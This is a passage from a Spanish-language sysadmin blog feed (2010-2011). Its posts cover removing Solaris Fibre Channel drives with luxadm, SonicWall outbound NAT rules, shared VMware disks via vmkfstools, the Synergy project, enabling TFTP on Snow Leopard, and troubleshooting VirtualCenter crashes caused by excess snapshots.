<div><span style="font-size:10px;"><em>&nbsp; Drive in Box Name &quot;FCloop&quot; slot 4</em></span></div>
<div><span style="font-size:10px;"><em><br />
	</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; Notice: Device has not been removed from the enclosure.</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; It has been removed from the loop and is ready to be</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; removed from the enclosure, and the LED is blinking.</em></span></div>
<div><span style="font-size:10px;"><em><br />
	</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; Logical Nodes being removed under /dev/dsk/ and /dev/rdsk:</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; Logical Nodes being removed under /dev/dsk/ and /dev/rdsk:</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp; &nbsp; c1t4d0s0</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp; &nbsp; c1t4d0s1</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp; &nbsp; c1t4d0s2</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp; &nbsp; c1t4d0s3</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp; &nbsp; c1t4d0s4</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp; &nbsp; c1t4d0s5</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp; &nbsp; c1t4d0s6</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp; &nbsp; c1t4d0s7</em></span></div>
<div><span style="font-size:10px;"><em>root@example / # luxadm remove_device -F /dev/rdsk/c1t5d0s0</em></span></div>
<div><span style="font-size:10px;"><em><br />
	</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp;WARNING!!! Please ensure that no filesystems are mounted on these device(s).</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp;All data on these devices should have been backed up.</em></span></div>
<div><span style="font-size:10px;"><em><br />
	</em></span></div>
<div><span style="font-size:10px;"><em><br />
	</em></span></div>
<div><span style="font-size:10px;"><em>The list of devices which will be removed is:</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; 1: Box Name: &nbsp; &nbsp;&quot;FCloop&quot; slot 5</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp;Node WWN: &nbsp; &nbsp;500000e01039a200</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp;Device Type:Disk device</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp;Device Paths:</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp; /dev/rdsk/c1t5d0s2</em></span></div>
<div><span style="font-size:10px;"><em><br />
	</em></span></div>
<div><span style="font-size:10px;"><em><br />
	</em></span></div>
<div><span style="font-size:10px;"><em>Please verify the above list of devices and</em></span></div>
<div><span style="font-size:10px;"><em>then enter &#39;c&#39; or &lt;CR&gt; to Continue or &#39;q&#39; to Quit. [Default: c]:</em></span></div>
<div><span style="font-size:10px;"><em>stopping: &nbsp;Drive in &quot;FCloop&quot; slot 5&#8230;.Done</em></span></div>
<div><span style="font-size:10px;"><em>offlining: Drive in &quot;FCloop&quot; slot 5&#8230;.Done</em></span></div>
<div><span style="font-size:10px;"><em><br />
	</em></span></div>
<div><span style="font-size:10px;"><em>Hit &lt;Return&gt; after removing the device(s).</em></span></div>
<div><span style="font-size:10px;"><em><br />
	</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; Drive in Box Name &quot;FCloop&quot; slot 5</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; Notice: Device has not been removed from the enclosure.</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; It has been removed from the loop and is ready to be</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; removed from the enclosure, and the LED is blinking.</em></span></div>
<div><span style="font-size:10px;"><em><br />
	</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; Logical Nodes being removed under /dev/dsk/ and /dev/rdsk:</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; Logical Nodes being removed under /dev/dsk/ and /dev/rdsk:</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp; &nbsp; c1t5d0s0</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp; &nbsp; c1t5d0s1</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp; &nbsp; c1t5d0s2</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp; &nbsp; c1t5d0s3</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp; &nbsp; c1t5d0s4</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp; &nbsp; c1t5d0s5</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp; &nbsp; c1t5d0s6</em></span></div>
<div><span style="font-size:10px;"><em>&nbsp; &nbsp; &nbsp; &nbsp; c1t5d0s7</em></span></div>
<div><span style="font-size:10px;"><em><br />
	</em></span></div>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.vidanez.com%2F2011%2F09%2F29%2Fsun-fire-v890-y-demas-maquinas-antiguas-hot-plug-scsi-device%2F&amp;title=Sun%20Fire%20V890%20y%20dem%C3%A1s%20m%C3%A1quinas%20antiguas.%20Hot-plug%20SCSI%20Device" id="wpa2a_6"><img src="http://www.vidanez.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.vidanez.com/2011/09/29/sun-fire-v890-y-demas-maquinas-antiguas-hot-plug-scsi-device/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Crear reglas de NAT de salida SONICWALL</title>
		<link>http://www.vidanez.com/2011/05/23/crear-reglas-de-nat-de-salida/</link>
		<comments>http://www.vidanez.com/2011/05/23/crear-reglas-de-nat-de-salida/#comments</comments>
		<pubDate>Mon, 23 May 2011 19:25:44 +0000</pubDate>
		<dc:creator>Juan José Vidañez</dc:creator>
				<category><![CDATA[SEGURIDAD]]></category>
		<category><![CDATA[SONICWALL]]></category>
		<category><![CDATA[Sonicwall]]></category>

		<guid isPermaLink="false">http://www.vidanez.com/?p=168</guid>
		<description><![CDATA[Me he encontrado con un entorno en el que para la salida del firewall a internet era necesario crear reglas de NAT. El proveedor de servicios me ofrece un router con un direccionamiento local 192.168.254.1 y una mascara 255.255.255.252, por tanto mi WAN del Sonicwall era 192.168.254.2. Y me dan un rango de IPs publicas [...]]]></description>
				<content:encoded><![CDATA[<p>Me he encontrado con un entorno en el que para la salida del firewall a internet era necesario crear reglas de NAT.</p>
<p>El proveedor de servicios me ofrece un router con un direccionamiento local 192.168.254.1 y una mascara 255.255.255.252, por tanto mi WAN del Sonicwall era 192.168.254.2. Y me dan un rango de IPs publicas para usar saliendo en NAT.</p>
<p>&nbsp;</p>
<p><a class="vt-p" href="http://www.vidanez.com/wp-content/uploads/2011/05/1.gif"><img alt="" class="aligncenter size-medium wp-image-184" height="82" src="http://www.vidanez.com/wp-content/uploads/2011/05/1-300x82.gif" title="Esquema de acceso externo NAT" width="300" /></a></p>
<p>&nbsp;</p>
<p>Como ejemplo usaremos el rango 19.178.23.224/255.255.255.248 que lo llamaremos &quot;segmentoWAN&quot; y creamos un &quot;Network Object&quot; con el.</p>
<p>Despues dentro de Network&#8211;&gt;ARP creamos tantas entradas como IP tengamos dentro del pool en la interfaz WAN (X1 en nuestro caso). En nuestro ejemplo creamos una 19.178.23.226 y establecemos que el sonicwall le asigne una IP automaticamente:</p>
<p><a class="vt-p" href="http://www.vidanez.com/wp-content/uploads/2011/05/imagen-1.gif"><img alt="Menu ARP" class="aligncenter size-medium wp-image-176" height="147" src="http://www.vidanez.com/wp-content/uploads/2011/05/imagen-1-300x147.gif" title="MENU ARP" width="300" /></a></p>
<p>Esa IP WAN la usamos para crearnos un network object en nuestro ejemplo IPWAN1.</p>
<p>En el menu Network&#8211;&gt;NAT policies creamos el NAT que nos permitira que todos nuestros usuarios detras del firewall salgan a internet usando como IP la IPWAN1</p>
<p><a class="vt-p" href="http://www.vidanez.com/wp-content/uploads/2011/05/imagen-2.gif"><img alt="NAT policies para hacer salida con una IP WAN" class="aligncenter size-medium wp-image-179" height="147" src="http://www.vidanez.com/wp-content/uploads/2011/05/imagen-2-300x147.gif" title="imagen 2" width="300" /></a></p>
<p>&nbsp;</p>
<p>Al igual si queremos publicar un servidor de cualquier tipo, es aqui donde debemos crear la regla de NAT correspondiente, a parte de haber creado los demas pasos necesarios. Abrir firewall, preparar el servicio, etc</p>
<p>Por ultimo debemos de recordar que el sonicwall debe ser capaz de enrutar las comunicaciones con el rango WAN por tanto en la seccion Network&#8211;&gt;Routing debemos crear una entrada del siguiente modo para &quot;segmentoWAN&quot;</p>
<p>&nbsp;</p>
<p><a class="vt-p" href="http://www.vidanez.com/wp-content/uploads/2011/05/imagen-3.gif"><img alt="Ruta para salida NAT" class="aligncenter size-medium wp-image-181" height="28" src="http://www.vidanez.com/wp-content/uploads/2011/05/imagen-3-300x28.gif" title="Routing for NAT outside" width="300" /></a></p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.vidanez.com%2F2011%2F05%2F23%2Fcrear-reglas-de-nat-de-salida%2F&amp;title=Crear%20reglas%20de%20NAT%20de%20salida%20SONICWALL" id="wpa2a_8"><img src="http://www.vidanez.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.vidanez.com/2011/05/23/crear-reglas-de-nat-de-salida/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Crear un disco compartido entre varias VM en ESX(i) 4.x</title>
		<link>http://www.vidanez.com/2011/01/18/crear-un-disco-compartido-entre-varias-vm-en-esxi-4-x/</link>
		<comments>http://www.vidanez.com/2011/01/18/crear-un-disco-compartido-entre-varias-vm-en-esxi-4-x/#comments</comments>
		<pubDate>Tue, 18 Jan 2011 19:04:29 +0000</pubDate>
		<dc:creator>Juan José Vidañez</dc:creator>
				<category><![CDATA[VMWARE]]></category>

		<guid isPermaLink="false">http://www.vidanez.com/?p=142</guid>
		<description><![CDATA[Como crear discos compartidos en VMWARE o en ESX para uso en clusters o en Oracle RAC]]></description>
				<content:encoded><![CDATA[<p>Para montar alg&uacute;n tipo de cluster en cualquier versi&oacute;n de OS, ya sea Unix, Linux o Microsoft, es necesario crear discos compartidos para datos y qu&oacute;rum. Sobre plataformas virtualizadas de vmware, es totalmente factible y sencillo.</p>
<p>Antes de todo, ya sea en ESX o ESXi, tenemos que habilitar el acceso por SSH, para poder lanzar comandos en la shell, ya que necesitaremos acceso a esta para la creaci&oacute;n de los discos compartidos. O bien tambien podr&iacute;amos usar el vMA.</p>
<p>Si lo intentamos por el entorno grafico obtendremos un error durante el encendido de las VM similar a&nbsp;</p>
<p><img alt="" height="403" src="http://www.vidanez.com/wp-content/uploads/eagerzeroedthick3.png" width="500" /></p>
<p>Una vez en el sistema os aconsejo crear una carpeta con los discos a compartir tipo SHARED_DISKS en el volumen donde queramos que residan. Normalmente en un entorno grande se tiene una de estas carpeta por cada datastore.</p>
<p>Nos situamos dentro de esta y lanzamos el siguiente comando:</p>
<p><span class="Apple-style-span" style="font-family: Helvetica; "><em>vmkfstools -c &lt;size&gt; -d eagerzeroedthick /vmfs/volumes/&lt;mydir&gt;/&lt;myDisk&gt;.vmdk</em></span></p>
<p><span class="Apple-style-span" style="font-family: Helvetica; ">EJEMPLO:</span></p>
<p><span class="Apple-style-span" style="font-family: Helvetica; "><em>vmkfstools -c 10Gb -d eagerzeroedthick -a lsilogic RAC_VOT2.vmdk</em></span></p>
<p>&nbsp;</p>
<p>Con esto tendremos creado el o los discos en si pero no enganchados a ninguna m&aacute;quina, adem&aacute;s si usamos vMA tendremos que usar un par&aacute;metro m&aacute;s &quot;&#8211;server&quot;. Es importante la opci&oacute;n &quot;eagerzerothick&quot; sin ella nos dar&aacute; errores.</p>
<p>En cada VM tendremos que modificar el componente &quot;SCSI Controller&quot; o crear uno nuevo, siendo esto &uacute;ltimo mas aconsejable ya que no interferiremos con el funcionamiento actual del sistema. Esta deber&aacute; tener la opci&oacute;n &quot;SCSI Bus Sharing&quot; en virtual.</p>
<p><img alt="SSCI Bus Sharing set to virtual" height="441" src="http://www.vidanez.com/wp-content/uploads/eagerzeroedthick1(1).png" width="500" /></p>
<p>Y a&ntilde;adimos los discos seleccionando la opci&oacute;n discos existentes a esta &quot;SCSI Controller&quot;, y eligiendo los discos que hemos creado anteriormente.</p>
<p>Esto lo repetimos por cada VM donde queramos que se vean dichos discos.</p>
<p><img alt="Adding disk to sharing bus controller" height="442" src="http://www.vidanez.com/wp-content/uploads/eagerzeroedthick2.png" width="500" /></p>
<p>Otra opci&oacute;n que tenemos con el comando &quot;vmkfstool&quot; es la de convertir y modificar discos&nbsp;</p>
<p><em>vmkfstools -i &lt;origen&gt;.vmdk &lt;destino&gt;.vmdk -d &lt;option&gt;</em></p>
<p><em>EJEMPLO:</em></p>
<p class="p1"><em>vmkfstools -i RAC_DAT.vmdk RAC_DAT1.vmdk -d eagerzeroedthick</em></p>
<p class="p1">&nbsp;</p>
<p class="p1">&nbsp;</p>
<p class="p1">Mas informaci&oacute;n:</p>
<p><a class="vt-p" href="http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&amp;cmd=displayKC&amp;externalId=1028042">http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&amp;cmd=displayKC&amp;externalId=1028042<br />
	</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.vidanez.com/2011/01/18/crear-un-disco-compartido-entre-varias-vm-en-esxi-4-x/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Comparte teclado y raton sin KVM &#8220;The Synergy Project&#8221;</title>
		<link>http://www.vidanez.com/2010/11/26/comparte-teclado-y-raton-sin-kvm-the-synergy-project/</link>
		<comments>http://www.vidanez.com/2010/11/26/comparte-teclado-y-raton-sin-kvm-the-synergy-project/#comments</comments>
		<pubDate>Thu, 25 Nov 2010 23:07:59 +0000</pubDate>
		<dc:creator>Juan José Vidañez</dc:creator>
				<category><![CDATA[HARDWARE]]></category>

		<guid isPermaLink="false">http://www.vidanez.com/?p=137</guid>
		<description><![CDATA[Hace tiempo busque una soluci&#243;n de este tipo para poder usar varios sistemas simult&#225;neamente y lo &#250;nico que encontr&#233; fueron KVM. Me parece un proyecto interesante y ojal&#225; lo evolucionen hasta la perfecci&#243;n. http://synergy-foss.org/pm/projects/synergy/tabs/welcome Welcome to The Synergy Project What is Synergy? Synergy&#160;is&#160;FOSS&#160;that lets you easily share a single mouse and keyboard between multiple computers [...]]]></description>
				<content:encoded><![CDATA[<p>Hace tiempo busque una soluci&oacute;n de este tipo para poder usar varios sistemas simult&aacute;neamente y lo &uacute;nico que encontr&eacute; fueron KVM. Me parece un proyecto interesante y ojal&aacute; lo evolucionen hasta la perfecci&oacute;n.</p>
<p><a class="vt-p" href="http://synergy-foss.org/pm/projects/synergy/tabs/welcome">http://synergy-foss.org/pm/projects/synergy/tabs/welcome</a></p>
<p><meta charset="utf-8" /></p>
<h1 id="Welcome-to-The-Synergy-Project" style="font-family: 'Trebuchet MS', Verdana, sans-serif; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 10px; padding-bottom: 1px; padding-left: 0px; font-size: 20px; border-bottom-width: 0px; border-bottom-style: initial; border-bottom-color: initial; color: rgb(68, 68, 68); ">Welcome to The Synergy Project</h1>
<p style="color: rgb(72, 72, 72); font-family: Verdana, sans-serif; "><img alt="" src="http://synergy-foss.org/img/splash.jpg" style="vertical-align: middle; " /></p>
<h2 id="What-is-Synergy" style="font-family: 'Trebuchet MS', Verdana, sans-serif; font-size: 16px; padding-top: 2px; padding-right: 10px; padding-bottom: 1px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; border-bottom-width: 0px; border-bottom-style: initial; border-bottom-color: initial; color: rgb(68, 68, 68); ">What is Synergy?</h2>
<p style="color: rgb(72, 72, 72); font-family: Verdana, sans-serif; "><strong>Synergy</strong>&nbsp;is&nbsp;<acronym style="border-bottom-width: 1px; border-bottom-style: dotted; border-bottom-color: initial; cursor: help; " title="Free and Open Source Software">FOSS</acronym>&nbsp;that lets you easily share a single mouse and keyboard between multiple computers with different operating systems, without special hardware. All you need is a LAN connection. It&#39;s intended for users with multiple computers, where each system uses its own display.</p>
<p style="color: rgb(72, 72, 72); font-family: Verdana, sans-serif; "><meta charset="utf-8" /></p>
<h2 id="Major-features" style="font-family: 'Trebuchet MS', Verdana, sans-serif; font-size: 16px; padding-top: 2px; padding-right: 10px; padding-bottom: 1px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; border-bottom-width: 0px; border-bottom-style: initial; border-bottom-color: initial; color: rgb(68, 68, 68); ">Major features</h2>
<ul>
<li>Move your mouse easily between computers</li>
<li>Requires nothing other than existing ethernet</li>
<li>Copy and paste between your computers</li>
<li>No need to press any buttons (unlike&nbsp;<acronym style="border-bottom-width: 1px; border-bottom-style: dotted; border-bottom-color: initial; cursor: help; " title="Keyboard Video and Mouse Switch">KVM</acronym>)</li>
<li>You can still use multiple monitors on the same computer</li>
<li><a class="wiki-page vt-p" href="http://synergy-foss.org/pm/projects/synergy/wiki/UserFAQ#Q-How-do-I-lock-the-mouse-on-one-screen" style="color: rgb(42, 86, 133); text-decoration: none; ">Lock the mouse</a>&nbsp;to one screen</li>
</ul>
<p>Synergy is&nbsp;<em>not</em>&nbsp;a&nbsp;<acronym style="border-bottom-width: 1px; border-bottom-style: dotted; border-bottom-color: initial; cursor: help; " title="Keyboard Video and Mouse Switch">KVM</acronym>&nbsp;or&nbsp;<acronym style="border-bottom-width: 1px; border-bottom-style: dotted; border-bottom-color: initial; cursor: help; " title="Virtual Network Computing">VNC</acronym>&nbsp;tool, since it does not deal with video. The advantage over a KVM is that you don&#39;t need to press any buttons or pull any levers to change screens &#8212; your keyboard input just goes to the same screen that your mouse cursor is on. Still not sure?&nbsp;<a class="wiki-page vt-p" href="http://synergy-foss.org/pm/projects/synergy/wiki/Is_Synergy_right_for_me" style="color: rgb(42, 86, 133); text-decoration: none; ">Read more</a>.</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.vidanez.com%2F2010%2F11%2F26%2Fcomparte-teclado-y-raton-sin-kvm-the-synergy-project%2F&amp;title=Comparte%20teclado%20y%20raton%20sin%20KVM%20%E2%80%9CThe%20Synergy%20Project%E2%80%9D" id="wpa2a_10"><img src="http://www.vidanez.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.vidanez.com/2010/11/26/comparte-teclado-y-raton-sin-kvm-the-synergy-project/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Activando el TFTP nativo de Snow Leopard</title>
		<link>http://www.vidanez.com/2010/10/04/activando-el-tftp-nativo-de-snow-leopard/</link>
		<comments>http://www.vidanez.com/2010/10/04/activando-el-tftp-nativo-de-snow-leopard/#comments</comments>
		<pubDate>Mon, 04 Oct 2010 19:03:32 +0000</pubDate>
		<dc:creator>Juan José Vidañez</dc:creator>
				<category><![CDATA[MAC]]></category>

		<guid isPermaLink="false">http://www.vidanez.com/?p=131</guid>
		<description><![CDATA[Que OSX incluya un servidor de TFTP dentro de su software base es una ayuda genial cuando te encuentras ante un Router/Switch/FW/Cualquier bicho que desees actualizar y use TFTP. Para comenzar lanzamos un terminal apra abrir el &#34;launchd&#34;, y el comando sudo launchctl Con ello nos cambiara el promp a &#34;launchd%&#34;: &#160; load -F /System/Library/LaunchDaemons/tftp.plist [...]]]></description>
				<content:encoded><![CDATA[<p>Que OSX incluya un servidor de TFTP dentro de su software base es una ayuda genial cuando te encuentras ante un Router/Switch/FW/Cualquier bicho que desees actualizar y use TFTP.</p>
<p>Para comenzar lanzamos un terminal apra abrir el &quot;launchd&quot;, y el comando</p>
<p class="p1"><em><span class="s1"><b>sudo </b></span>launchctl</em></p>
<p class="p1">Con ello nos cambiara el promp a &quot;launchd%&quot;:</p>
<p class="p1">&nbsp;</p>
<p class="p1"><em>load -F /System/Library/LaunchDaemons/tftp.plist</em></p>
<p class="p1">Ponemos lo que queremos compartir en la carpeta:</p>
<p class="p1">&nbsp;</p>
<p class="p1"><strong>/private/tftpboot</strong></p>
<p class="p1">Cuando deseemos dejar de usarlo, seguimos los pasos anteriores pero ejecutando:</p>
<p class="p1">&nbsp;</p>
<p class="p1"><em>unload /System/Library/LaunchDaemons/tftp.plist</em></p>
<p class="p1">Otra de las opciones es dejarlo lanzado en nuestro sistema de modo permanente o desactivarlo de ese modo permanente, esto nos lo permite la opci&oacute;n <strong><em>&quot;-w&quot;</em></strong> de los comandos <em>&quot;load/unload&quot;</em> en el <em>&quot;launchd&quot;</em>.</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.vidanez.com%2F2010%2F10%2F04%2Factivando-el-tftp-nativo-de-snow-leopard%2F&amp;title=Activando%20el%20TFTP%20nativo%20de%20Snow%20Leopard" id="wpa2a_12"><img src="http://www.vidanez.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.vidanez.com/2010/10/04/activando-el-tftp-nativo-de-snow-leopard/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dia de los administradores de sistemas o sysadmins</title>
		<link>http://www.vidanez.com/2010/07/30/dia-de-los-administradores-de-sistemas-o-sysadmins/</link>
		<comments>http://www.vidanez.com/2010/07/30/dia-de-los-administradores-de-sistemas-o-sysadmins/#comments</comments>
		<pubDate>Fri, 30 Jul 2010 11:04:12 +0000</pubDate>
		<dc:creator>Juan José Vidañez</dc:creator>
				<category><![CDATA[OPINION]]></category>

		<guid isPermaLink="false">http://www.vidanez.com/?p=126</guid>
		<description><![CDATA[Ya lo se que parece la fricada mas grande del mundo, pero si hoy es nuestro dia y deberian felicitarnos por nuestras horas pringando &#8230;.. Un abrazo pa toos &#160; http://www.sysadminday.com/]]></description>
				<content:encoded><![CDATA[<p>Ya lo se que parece la fricada mas grande del mundo, pero si hoy es nuestro dia y deberian felicitarnos por nuestras horas pringando &#8230;..</p>
<p><strong>Un abrazo pa toos</strong></p>
<p>&nbsp;</p>
<p>http://www.sysadminday.com/</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.vidanez.com%2F2010%2F07%2F30%2Fdia-de-los-administradores-de-sistemas-o-sysadmins%2F&amp;title=Dia%20de%20los%20administradores%20de%20sistemas%20o%20sysadmins" id="wpa2a_14"><img src="http://www.vidanez.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.vidanez.com/2010/07/30/dia-de-los-administradores-de-sistemas-o-sysadmins/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Problemas de caídas continuas del servicio VirtualCenter Server</title>
		<link>http://www.vidanez.com/2010/07/12/problemas-de-caidas-continuas-del-servicio-virtualcenter-server/</link>
		<comments>http://www.vidanez.com/2010/07/12/problemas-de-caidas-continuas-del-servicio-virtualcenter-server/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 16:36:28 +0000</pubDate>
		<dc:creator>Juan José Vidañez</dc:creator>
				<category><![CDATA[VMWARE]]></category>

		<guid isPermaLink="false">http://www.vidanez.com/?p=117</guid>
		<description><![CDATA[Tras una llamada de emergencia he asistido a un cliente que perdian la posibilidad de administracion de los nodos de ESX. Problemas: Su servicio de VCenter se caia cada 5 minutos sin una razón aparente. En concreto el sistema Windows 2003 daba el siguiente mensaje en el visor de sucesos: Tipo de suceso: Información Origen del suceso: VMware VirtualCenter [...]]]></description>
				<content:encoded><![CDATA[<p>Tras una llamada de emergencia he asistido a un cliente que perdian la posibilidad de administracion de los nodos de ESX.</p>
<p><strong>Problemas:</strong></p>
<p>Su servicio de VCenter se caia cada 5 minutos sin una razón aparente. En concreto el sistema Windows 2003 daba el siguiente mensaje en el visor de sucesos:</p>
<address><span style="color: #888888;">Tipo de suceso:	Información</span></address>
<address><span style="color: #888888;">Origen del suceso:	VMware VirtualCenter Server</span></address>
<address><span style="color: #888888;">Categoría del suceso:	Ninguno</span></address>
<address><span style="color: #888888;">Id. suceso:	1000</span></address>
<address><span style="color: #888888;">Fecha:		09/07/2010</span></address>
<address><span style="color: #888888;">Hora:		9:54:57</span></address>
<address><span style="color: #888888;">Usuario:		No disponible</span></address>
<address><span style="color: #888888;">Equipo: *********</span></address>
<address><span style="color: #888888;">Descripción:</span></address>
<address><span style="color: #888888;">No se encuentra la descripción del Id. de suceso ( 1000 ) en el origen ( VMware VirtualCenter Server ). Es posible que el equipo local no tenga la información de Registro o archivos DLL de mensajes necesarios para mostrar mensajes desde un equipo remoto. Es posible que pueda usar el indicador /AUXSOURCE= para recuperar esta descripción; consulte Ayuda y soporte técnico para obtener más detalles. La siguiente información es parte del suceso: Log directory: C:\Documents and Settings\Default User\Configuración local\Datos de programa\VMware\vpx..</span></address>
<address><span style="color: #888888;">Tipo de suceso:	InformaciónOrigen del suceso:	VMware VirtualCenter ServerCategoría del suceso:	NingunoId. suceso:	1000Fecha:		09/07/2010Hora:		9:54:57Usuario:		No disponibleEquipo: *******Descripción:No se encuentra la descripción del Id. de suceso ( 1000 ) en el origen ( VMware VirtualCenter Server ). Es posible que el equipo local no tenga la información de Registro o archivos DLL de mensajes necesarios para mostrar mensajes desde un equipo remoto. Es posible que pueda usar el indicador /AUXSOURCE= para recuperar esta descripción; consulte Ayuda y soporte técnico para obtener más detalles. La siguiente información es parte del suceso: Log directory: C:\Documents and Settings\Default User\Configuración local\Datos de programa\VMware\vpx..</span></address>
<p><span id="more-117"></span><br />
Ademas teníamos este otro:</p>
<p><em><span style="color: #888888;">Tipo de suceso:	Error</span></em></p>
<div id="_mcePaste"><em><span style="color: #888888;">Origen del suceso:	Service Control Manager</span></em></div>
<div id="_mcePaste"><em><span style="color: #888888;">Categoría del suceso:	Ninguno</span></em></div>
<div id="_mcePaste"><em><span style="color: #888888;">Id. suceso:	7031</span></em></div>
<div id="_mcePaste"><em><span style="color: #888888;">Fecha:		09/07/2010</span></em></div>
<div id="_mcePaste"><em><span style="color: #888888;">Hora:		10:34:47</span></em></div>
<div id="_mcePaste"><em><span style="color: #888888;">Usuario:		No disponible</span></em></div>
<div id="_mcePaste"><em><span style="color: #888888;">Equipo:	*********</span></em></div>
<div id="_mcePaste"><em><span style="color: #888888;">Descripción:</span></em></div>
<div id="_mcePaste"><em><span style="color: #888888;">El servicio VMware VirtualCenter Server terminó inesperadamente.  Lo ha hecho 1 veces.  Se realizará la siguiente acción correctora en 300000 milisegundos: Reiniciar el servicio.</span></em></div>
<div id="_mcePaste"><em><span style="color: #888888;">Para obtener más información, vea el Centro de ayuda y soporte técnico en http://go.microsoft.com/fwlink/events.asp.</span></em></div>
<p><em><span style="color: #888888;">Tipo de suceso:	ErrorOrigen del suceso:	Service Control ManagerCategoría del suceso:	NingunoId. suceso:	7031Fecha:		09/07/2010Hora:		10:34:47Usuario:		No disponibleEquipo:	**********Descripción:El servicio VMware VirtualCenter Server terminó inesperadamente.  Lo ha hecho 1 veces.  Se realizará la siguiente acción correctora en 300000 milisegundos: Reiniciar el servicio.<br />
Para obtener más información, vea el Centro de ayuda y soporte técnico en http://go.microsoft.com/fwlink/events.asp</span>.</em></p>
<p>Tras un rato navegando por distintos logs del sistema y de vmware encontre las siguientes lineas en el vxpd.log:</p>
<address><em><span style="color: #888888;">[2010-07-06 11:33:13.526 02016 error 'App'] Win32 exception: Stack overflow (0xc00000fd)</span></em></address>
<address><em><span style="color: #888888;">[2010-07-06 11:33:13.526 02016 error 'App']    eip: 0x19de1fb esp: 0x58a2fcc ebp: 0x58a3040</span></em></address>
<address><em><span style="color: #888888;">[2010-07-06 11:33:13.526 02016 error 'App']    eax: 0x58a5064 ebx: 00000000 ecx: 0x1302d48 edx: 0xfffffffe edi: 0x408de68 esi: 0&#215;000007</span></em></address>
<p>La verdad que muchas pistas no daba el invento, ademas cayendo continuamente no me dejaba mirar nada dentro de sus sistemas.</p>
<p>Buscando en la base de incidencias de VmWare encontre un documento que me dio la pista para su resolucion:</p>
<p><a class="vt-p" title="Vmware" href="http://kb.vmware.com/kb/1016281" target="_blank">http://kb.vmware.com/kb/1016281</a></p>
<p>En este documento encontre la pista definitiva, &#8220;<span style="font-family: Arial; line-height: normal; color: #333333;"><span style="text-decoration: underline;"><em>A virtual machine has too many snapshots associated with i</em></span><span style="text-decoration: underline;"><em>t</em></span>&#8220;</span></p>
<p><strong>Resolución</strong>:</p>
<p>Entre en la administración de ambos nodos, de modo directo sin usar el Vcenter.</p>
<p>Y en uno de ellos encontre un sistema con 18 snapshots que era el causante del problema.</p>
